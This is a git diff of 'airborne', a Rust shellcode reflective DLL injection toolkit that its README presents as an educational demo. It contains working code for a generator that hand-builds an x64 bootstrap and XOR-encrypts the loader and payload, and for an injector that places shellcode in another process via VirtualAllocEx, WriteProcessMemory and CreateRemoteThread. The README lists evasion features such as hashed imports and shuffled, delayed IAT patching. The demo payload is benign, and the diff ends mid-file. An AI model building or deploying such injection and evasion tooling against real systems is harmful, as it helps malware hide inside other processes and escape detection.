Compare commits
No commits in common. "4a6aff2a34a9f93c7440090ed23045d99484cda4" and "567e36a9f38e42752a70ff77b5b5c7d1b9db07cf" have entirely different histories.
4a6aff2a34
...
567e36a9f3
BIN
.github/docs/dllmain-exec.png
vendored
BIN
.github/docs/dllmain-exec.png
vendored
Binary file not shown.
Before Width: | Height: | Size: 213 KiB |
BIN
.github/docs/userfunction-exec.png
vendored
BIN
.github/docs/userfunction-exec.png
vendored
Binary file not shown.
Before Width: | Height: | Size: 214 KiB |
70
Cargo.lock
generated
70
Cargo.lock
generated
@ -3,7 +3,41 @@
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "airborne-common"
|
||||
name = "airborne-generator"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-utils",
|
||||
"clap",
|
||||
"rand",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-injector"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-utils",
|
||||
"lexopt",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-payload"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-reflective_loader"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-utils",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-utils"
|
||||
version = "0.1.0"
|
||||
|
||||
[[package]]
|
||||
@ -106,16 +140,6 @@ version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
|
||||
|
||||
[[package]]
|
||||
name = "generator"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-common",
|
||||
"clap",
|
||||
"rand",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.12"
|
||||
@ -145,22 +169,6 @@ version = "0.2.152"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
|
||||
|
||||
[[package]]
|
||||
name = "poc-injector"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-common",
|
||||
"lexopt",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "poc-payload"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.17"
|
||||
@ -215,14 +223,6 @@ dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "reflective-loader"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-common",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "strsim"
|
||||
version = "0.10.0"
|
||||
|
@ -6,7 +6,7 @@ members = [
|
||||
"payload",
|
||||
"generator",
|
||||
"reflective_loader",
|
||||
"common"
|
||||
"utils"
|
||||
]
|
||||
|
||||
[profile.release]
|
||||
|
47
README.md
47
README.md
@ -9,55 +9,30 @@ Reflective DLL injection demo for fun and education. In practical applications,
|
||||
```shell
|
||||
.
|
||||
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
|
||||
├── injector # PoC injector (CreateRemoteThread)
|
||||
├── payload # PoC payload (calc.exe or MessageBoxW based on generator's flag)
|
||||
├── reflective_loader # sRDI implementation
|
||||
└── common # Common XOR and hashing functions
|
||||
├── injector # PoC injector
|
||||
├── payload # PoC payload (DllMain and PrintMessage)
|
||||
└── reflective_loader # sRDI implementation
|
||||
```
|
||||
|
||||
### Features
|
||||
|
||||
- ~14 kB reflective loader
|
||||
- Compact filesize (~14 kB)
|
||||
- Hashed import names & indirect function calls
|
||||
- XOR encrypted payload shellcode
|
||||
- Shuffled and delayed IDT iteration (during IAT patching)
|
||||
- Randomized payload export iteration & IAT patching
|
||||
- XOR encryption for shellcode (shellcode generation specific keys)
|
||||
|
||||
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
|
||||
|
||||
### Usage
|
||||
|
||||
The following command compiles the DLLs and executables into `target/release/`:
|
||||
The following command compiles the DLLs and executables into `target`:
|
||||
|
||||
```shell
|
||||
$ cargo build --release
|
||||
```
|
||||
|
||||
1. Generate shellcode containing the loader and the payload:
|
||||
|
||||
```
|
||||
Usage: generator.exe [OPTIONS] --loader <LOADER_PATH> --payload <PAYLOAD_PATH> --function <FUNCTION_NAME> --parameter <PARAMETER> --output <OUTPUT_PATH>
|
||||
|
||||
Options:
|
||||
-l, --loader <LOADER_PATH> Path to the sRDI loader DLL
|
||||
-p, --payload <PAYLOAD_PATH> Path to the payload DLL
|
||||
-f, --function <FUNCTION_NAME> Name of the function to call in the payload DLL
|
||||
-n, --parameter <PARAMETER> Parameter to pass to the function
|
||||
-o, --output <OUTPUT_PATH> Path to the output file
|
||||
--flag <FLAG> Flag to pass to the loader (by default DllMain is called) [default: 0]
|
||||
-h, --help Print help
|
||||
-V, --version Print version
|
||||
```
|
||||
|
||||
2. Inject the created shellcode into target:
|
||||
|
||||
```
|
||||
Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>
|
||||
```
|
||||
|
||||
3. Depending on the flag passed to the generator, either `DllMain` with `DLL_PROCESS_ATTACH` or user function with custom parameter is called:
|
||||
|
||||
<div align="center">
|
||||
<img src=".github/docs/dllmain-exec.png" alt="Payload's DllMain execution with the default flag (0)" width="90%">
|
||||
<img src=".github/docs/userfunction-exec.png" alt="Payload's user defined function execution with the modified flag (1)" width="90%">
|
||||
</div>
|
||||
1. Generate shellcode containing the loader and the payload
|
||||
2. Inject the created shellcode into target
|
||||
|
||||
### Disclaimer
|
||||
|
||||
|
@ -1,12 +1,12 @@
|
||||
[package]
|
||||
name = "generator"
|
||||
name = "airborne-generator"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
clap = {version = "4.4.18", features = ["derive"] }
|
||||
rand = "0.8.5"
|
||||
airborne-common = { path = "../common" }
|
||||
airborne-utils = { path = "../utils" }
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
|
@ -1,10 +1,7 @@
|
||||
use std::{
|
||||
collections::BTreeMap, error::Error, ffi::CStr, fs, path::PathBuf, process::exit,
|
||||
slice::from_raw_parts,
|
||||
};
|
||||
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
|
||||
|
||||
use airborne_common::calc_hash;
|
||||
use clap::{ArgAction, Parser};
|
||||
use airborne_utils::calc_hash;
|
||||
use clap::Parser;
|
||||
use windows_sys::Win32::{
|
||||
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
|
||||
System::{
|
||||
@ -31,15 +28,9 @@ struct Args {
|
||||
/// Path to the output file
|
||||
#[arg(short, long = "output")]
|
||||
output_path: PathBuf,
|
||||
/// Disable randomized delays during IAT patching
|
||||
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
|
||||
no_delay: bool,
|
||||
/// Disable IAT import descriptor shuffling
|
||||
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
|
||||
no_shuffle: bool,
|
||||
/// Call payload's user defined function instead of DllMain
|
||||
#[arg(short, long, action = ArgAction::SetTrue, default_value_t = false)]
|
||||
ufn: bool,
|
||||
/// Flag to pass to the loader (by default DllMain is called)
|
||||
#[arg(short, long, default_value_t = 0)]
|
||||
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
|
||||
}
|
||||
|
||||
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
|
||||
@ -49,13 +40,9 @@ const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
|
||||
fn main() {
|
||||
let args = Args::parse();
|
||||
|
||||
// (bool, bool, bool) -(OR)-> u32
|
||||
let combined_flag = airborne_common::create_u32_flag(args.no_delay, args.no_shuffle, args.ufn);
|
||||
|
||||
// preserve the path from being dropped
|
||||
let output_path = args.output_path.clone();
|
||||
|
||||
// prepare paths for pretty printing
|
||||
let loader_path_str = args.loader_path.to_str().unwrap();
|
||||
let payload_path_str = args.payload_path.to_str().unwrap();
|
||||
let output_path_str = args.output_path.to_str().unwrap();
|
||||
@ -64,66 +51,29 @@ fn main() {
|
||||
println!("[+] payload: {}", payload_path_str);
|
||||
println!("[+] output: {}", output_path_str);
|
||||
|
||||
let mut loader_b = match fs::read(args.loader_path) {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
eprintln!("[-] failed to read loader DLL: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
};
|
||||
|
||||
let mut payload_b = match fs::read(args.payload_path) {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
eprintln!("[-] failed to read payload DLL: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
};
|
||||
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
|
||||
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
|
||||
let function_hash = calc_hash(args.function_name.as_bytes());
|
||||
|
||||
let mut shellcode = match gen_sc(
|
||||
let mut shellcode = gen_sc(
|
||||
&mut loader_b,
|
||||
&mut payload_b,
|
||||
function_hash,
|
||||
args.parameter,
|
||||
combined_flag,
|
||||
) {
|
||||
Ok(sc) => sc,
|
||||
Err(e) => {
|
||||
eprintln!("[-] failed to generate shellcode: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
};
|
||||
args.flag,
|
||||
);
|
||||
|
||||
println!("\n[+] xor'ing shellcode");
|
||||
let key = gen_xor_key(shellcode.len());
|
||||
airborne_common::xor_cipher(&mut shellcode, &key);
|
||||
airborne_utils::xor_cipher(&mut shellcode, &key);
|
||||
let mut key_output_path = output_path.clone().into_os_string();
|
||||
key_output_path.push(".key");
|
||||
|
||||
// prepare path for pretty printing
|
||||
let key_output_path_str = key_output_path.to_str().unwrap();
|
||||
|
||||
println!(
|
||||
"\n[+] writing shellcode to '{}' and xor key to '{}'",
|
||||
output_path_str, key_output_path_str
|
||||
);
|
||||
|
||||
match fs::write(output_path, shellcode) {
|
||||
Ok(_) => (),
|
||||
Err(e) => {
|
||||
eprintln!("[-] failed to write shellcode to output file: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
};
|
||||
|
||||
match fs::write(key_output_path, key) {
|
||||
Ok(_) => (),
|
||||
Err(e) => {
|
||||
eprintln!("[-] failed to write xor key to output file: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
};
|
||||
println!("\n[+] writing shellcode to '{}'", output_path_str);
|
||||
fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
|
||||
println!("[+] writing xor key to '{}'", key_output_path_str);
|
||||
fs::write(key_output_path, key).expect("failed to write xor key to output file");
|
||||
}
|
||||
|
||||
fn gen_sc(
|
||||
@ -132,117 +82,159 @@ fn gen_sc(
|
||||
function_hash: u32,
|
||||
parameter: String,
|
||||
flag: u32,
|
||||
) -> Result<Vec<u8>, Box<dyn Error>> {
|
||||
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)?;
|
||||
) -> Vec<u8> {
|
||||
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
|
||||
.expect("failed to get loader entry point");
|
||||
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
|
||||
println!("[+] loader offset: {:#x}", loader_offset);
|
||||
|
||||
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
|
||||
|
||||
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
|
||||
// calculating little-endian representations of variables (flag, parameter length & offset,
|
||||
// function hash, payload offset, loader address) beforehand
|
||||
|
||||
let mut bootstrap: Vec<u8> = Vec::new();
|
||||
|
||||
/*
|
||||
1.) save the current location in memory for calculating offsets later
|
||||
*/
|
||||
|
||||
// call 0x00 (this will push the address of the next function to the stack)
|
||||
bootstrap.push(0xe8);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
|
||||
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
|
||||
bootstrap.push(0x59);
|
||||
|
||||
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
|
||||
bootstrap.push(0x49);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xc8);
|
||||
|
||||
/*
|
||||
2.) align the stack and create shadow space
|
||||
*/
|
||||
|
||||
// push rsi - save original value
|
||||
bootstrap.push(0x56);
|
||||
|
||||
// mov rsi, rsp - store our current stack pointer for later
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xe6);
|
||||
|
||||
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0xe4);
|
||||
bootstrap.push(0xf0);
|
||||
|
||||
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0xec);
|
||||
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
|
||||
|
||||
/*
|
||||
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
|
||||
*/
|
||||
|
||||
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0x4C);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(4 * 8); // 5th arg
|
||||
|
||||
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0x6C);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(4 * 8); // 5th arg
|
||||
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
|
||||
|
||||
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
|
||||
bootstrap.push(0xC7);
|
||||
bootstrap.push(0x44);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(5 * 8); // 6th arg
|
||||
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
|
||||
|
||||
/*
|
||||
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
|
||||
*/
|
||||
|
||||
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
|
||||
bootstrap.push(0x41);
|
||||
bootstrap.push(0xb9);
|
||||
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
|
||||
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
|
||||
|
||||
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
|
||||
bootstrap.push(0x49);
|
||||
bootstrap.push(0x81);
|
||||
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
|
||||
let parameter_offset =
|
||||
BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32 + payload_b.len() as u32;
|
||||
let payload_offset = BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32;
|
||||
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
|
||||
bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
|
||||
|
||||
// 1.) save the current location in memory for calculating offsets later
|
||||
let b1: Vec<u8> = vec![
|
||||
0xe8, 0x00, 0x00, 0x00, 0x00, // call 0x00
|
||||
0x59, // pop rcx
|
||||
0x49, 0x89, 0xc8, // mov r8, rcx
|
||||
];
|
||||
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
|
||||
bootstrap.push(0xba);
|
||||
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
|
||||
|
||||
// 2.) align the stack and create shadow space
|
||||
let b2: Vec<u8> = vec![
|
||||
0x56, // push rsi
|
||||
0x48,
|
||||
0x89,
|
||||
0xe6, // mov rsi, rsp
|
||||
0x48,
|
||||
0x83,
|
||||
0xe4,
|
||||
0xf0, // and rsp, 0x0FFFFFFFFFFFFFFF0
|
||||
0x48,
|
||||
0x83,
|
||||
0xec,
|
||||
6 * 8, // sub rsp, 0x30
|
||||
];
|
||||
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x81);
|
||||
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
|
||||
let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
|
||||
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
|
||||
|
||||
// 3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack
|
||||
let b3: Vec<u8> = vec![
|
||||
0x48,
|
||||
0x89,
|
||||
0x4C,
|
||||
0x24,
|
||||
4 * 8, // mov qword ptr [rsp + 0x20], rcx
|
||||
0x48,
|
||||
0x83,
|
||||
0x6C,
|
||||
0x24,
|
||||
4 * 8,
|
||||
5, // sub qword ptr [rsp + 0x20], 0x5
|
||||
0xC7,
|
||||
0x44,
|
||||
0x24,
|
||||
5 * 8, // mov dword ptr [rsp + 0x28], <flag>
|
||||
]
|
||||
.into_iter()
|
||||
.chain(flag.to_le_bytes().to_vec())
|
||||
.collect();
|
||||
/*
|
||||
5.) call the reflective loader
|
||||
*/
|
||||
|
||||
// 4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
|
||||
let b4: Vec<u8> = vec![0x41, 0xb9]
|
||||
.into_iter()
|
||||
.chain((parameter.len() as u32).to_le_bytes().to_vec())
|
||||
.chain(vec![
|
||||
0x49, 0x81, 0xc0, // add r8, <parameter_offset> + <payload_length>
|
||||
])
|
||||
.chain(parameter_offset.to_le_bytes().to_vec())
|
||||
.chain(vec![
|
||||
0xba, // mov edx, <prameter_hash>
|
||||
])
|
||||
.chain(function_hash.to_le_bytes().to_vec())
|
||||
.chain(vec![
|
||||
0x48, 0x81, 0xc1, // add rcx, <payload_offset>
|
||||
])
|
||||
.chain(payload_offset.to_le_bytes().to_vec())
|
||||
.collect();
|
||||
// call <loader_offset> - call the reflective loader address after calculation
|
||||
bootstrap.push(0xe8);
|
||||
let loader_address =
|
||||
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
|
||||
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
|
||||
|
||||
// 5.) call the reflective loader
|
||||
let bootstrap_len = b1.len() + b2.len() + b3.len() + b4.len() + 1;
|
||||
let loader_addr = (BOOTSTRAP_TOTAL_LENGTH - bootstrap_len as u32 - 4) + loader_offset as u32;
|
||||
let b5: Vec<u8> = vec![
|
||||
0xe8, // call <loader_offset>
|
||||
]
|
||||
.into_iter()
|
||||
.chain(loader_addr.to_le_bytes().to_vec())
|
||||
.chain(vec![
|
||||
0x90, 0x90, // padding
|
||||
])
|
||||
.collect();
|
||||
// padding
|
||||
bootstrap.push(0x90);
|
||||
bootstrap.push(0x90);
|
||||
|
||||
// 6.) restore the stack and return to the original location (caller)
|
||||
let b6: Vec<u8> = vec![
|
||||
0x48, 0x89, 0xf4, // mov rsp, rsi
|
||||
0x5e, // pop rsi
|
||||
0xc3, // ret
|
||||
0x90, 0x90, // padding
|
||||
];
|
||||
/*
|
||||
6.) restore the stack and return to the original location (caller)
|
||||
*/
|
||||
|
||||
let mut bootstrap: Vec<u8> = b1
|
||||
.into_iter()
|
||||
.chain(b2)
|
||||
.chain(b3)
|
||||
.chain(b4)
|
||||
.chain(b5)
|
||||
.chain(b6)
|
||||
.collect();
|
||||
// mov rsp, rsi - reset original stack pointer
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xf4);
|
||||
|
||||
// pop rsi - put things back where they were left
|
||||
bootstrap.push(0x5e);
|
||||
|
||||
// ret - return to caller and resume execution flow (avoids crashing process)
|
||||
bootstrap.push(0xc3);
|
||||
|
||||
// padding
|
||||
bootstrap.push(0x90);
|
||||
bootstrap.push(0x90);
|
||||
|
||||
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
|
||||
return Err("invalid bootstrap length".into());
|
||||
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
|
||||
} else {
|
||||
println!("[+] bootstrap size: {}", bootstrap.len());
|
||||
}
|
||||
|
||||
println!("[+] bootstrap size: {} bytes", bootstrap.len());
|
||||
println!("[+] reflective loader size: {} kB", loader_b.len() / 1024);
|
||||
println!("[+] payload size: {} kB", payload_b.len() / 1024);
|
||||
println!("[+] reflective loader size: {}", loader_b.len());
|
||||
println!("[+] payload size: {}", payload_b.len());
|
||||
|
||||
let mut shellcode = Vec::new();
|
||||
|
||||
@ -259,7 +251,7 @@ fn gen_sc(
|
||||
- user data
|
||||
*/
|
||||
|
||||
println!("\n[+] total shellcode size: {} kB", shellcode.len() / 1024);
|
||||
println!("\n[+] total shellcode size: {}", shellcode.len());
|
||||
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
|
||||
println!(
|
||||
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
|
||||
@ -273,7 +265,7 @@ fn gen_sc(
|
||||
flag
|
||||
);
|
||||
|
||||
Ok(shellcode)
|
||||
shellcode
|
||||
}
|
||||
|
||||
fn gen_xor_key(keysize: usize) -> Vec<u8> {
|
||||
@ -286,64 +278,61 @@ fn gen_xor_key(keysize: usize) -> Vec<u8> {
|
||||
key
|
||||
}
|
||||
|
||||
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Result<*mut u8, Box<dyn Error>> {
|
||||
for (e_name, addr) in unsafe { get_exports(base_ptr)? } {
|
||||
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
|
||||
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
|
||||
if e_name == name {
|
||||
return Ok(addr as _);
|
||||
return Some(addr as _);
|
||||
}
|
||||
}
|
||||
|
||||
Err(format!("failed to find export by name: {}", name).into())
|
||||
None
|
||||
}
|
||||
|
||||
unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<dyn Error>> {
|
||||
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
|
||||
let mut exports = BTreeMap::new();
|
||||
|
||||
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
|
||||
|
||||
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
return Err("failed to get DOS header for the export".into());
|
||||
panic!("Failed to get DOS header");
|
||||
}
|
||||
|
||||
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
|
||||
|
||||
let export_dir_ptr = rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
|
||||
.VirtualAddress,
|
||||
)? as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
|
||||
let export_names = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfNames,
|
||||
)? as *const u32,
|
||||
) as *const u32,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
|
||||
let export_functions = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfFunctions,
|
||||
)? as *const u32,
|
||||
) as *const u32,
|
||||
(*export_dir_ptr).NumberOfFunctions as _,
|
||||
);
|
||||
|
||||
let export_ordinals = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfNameOrdinals,
|
||||
)? as *const u16,
|
||||
) as *const u16,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
|
||||
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
|
||||
let export_name =
|
||||
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i])? as *const i8;
|
||||
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
|
||||
|
||||
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
|
||||
let export_ordinal = export_ordinals[i] as usize;
|
||||
@ -353,23 +342,19 @@ unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
export_functions[export_ordinal],
|
||||
)?,
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(exports)
|
||||
exports
|
||||
}
|
||||
|
||||
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
|
||||
(base_ptr as usize + rva) as *mut T
|
||||
}
|
||||
|
||||
unsafe fn rva_to_offset(
|
||||
base: usize,
|
||||
nt_header_ref: &IMAGE_NT_HEADERS64,
|
||||
mut rva: u32,
|
||||
) -> Result<usize, Box<dyn Error>> {
|
||||
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
|
||||
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
|
||||
&nt_header_ref.OptionalHeader as *const _ as _,
|
||||
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
|
||||
@ -386,9 +371,9 @@ unsafe fn rva_to_offset(
|
||||
rva -= (*section_header_ptr.add(i)).VirtualAddress;
|
||||
rva += (*section_header_ptr.add(i)).PointerToRawData;
|
||||
|
||||
return Ok(base + rva as usize);
|
||||
return base + rva as usize;
|
||||
}
|
||||
}
|
||||
|
||||
Err(format!("failed to find section for RVA {:#x}", rva).into())
|
||||
0
|
||||
}
|
||||
|
@ -1,11 +1,11 @@
|
||||
[package]
|
||||
name = "poc-injector"
|
||||
name = "airborne-injector"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
lexopt = "0.3.0"
|
||||
airborne-common = { path = "../common" }
|
||||
airborne-utils = { path = "../utils" }
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
|
@ -1,4 +1,4 @@
|
||||
use std::{error::Error, mem::transmute, ptr::null_mut};
|
||||
use std::{mem::transmute, ptr::null_mut};
|
||||
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||
@ -9,13 +9,13 @@ use windows_sys::Win32::{
|
||||
},
|
||||
};
|
||||
|
||||
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
||||
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
|
||||
let dll_len = dll_vec.len();
|
||||
|
||||
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
|
||||
|
||||
if h_process == INVALID_HANDLE_VALUE {
|
||||
return Err(format!("failed to open process {}", pid).into());
|
||||
panic!("failed to open process");
|
||||
}
|
||||
|
||||
let base_addr_ptr = VirtualAllocEx(
|
||||
@ -27,7 +27,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
||||
);
|
||||
|
||||
if base_addr_ptr.is_null() {
|
||||
return Err(format!("failed to allocate memory into process {}", pid).into());
|
||||
panic!("failed to allocate memory");
|
||||
}
|
||||
|
||||
println!("[+] allocated memory at {:p}", base_addr_ptr);
|
||||
@ -40,7 +40,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
||||
null_mut(),
|
||||
) == 0
|
||||
{
|
||||
return Err(format!("failed to write process memory into process {}", pid).into());
|
||||
panic!("failed to write process memory");
|
||||
}
|
||||
|
||||
let h_thread = CreateRemoteThread(
|
||||
@ -54,11 +54,9 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
||||
);
|
||||
|
||||
if h_thread == INVALID_HANDLE_VALUE {
|
||||
return Err(format!("failed to create remote thread into process {}", pid).into());
|
||||
panic!("failed to create remote thread");
|
||||
}
|
||||
|
||||
CloseHandle(h_thread);
|
||||
CloseHandle(h_process);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
@ -15,51 +15,24 @@ struct Args {
|
||||
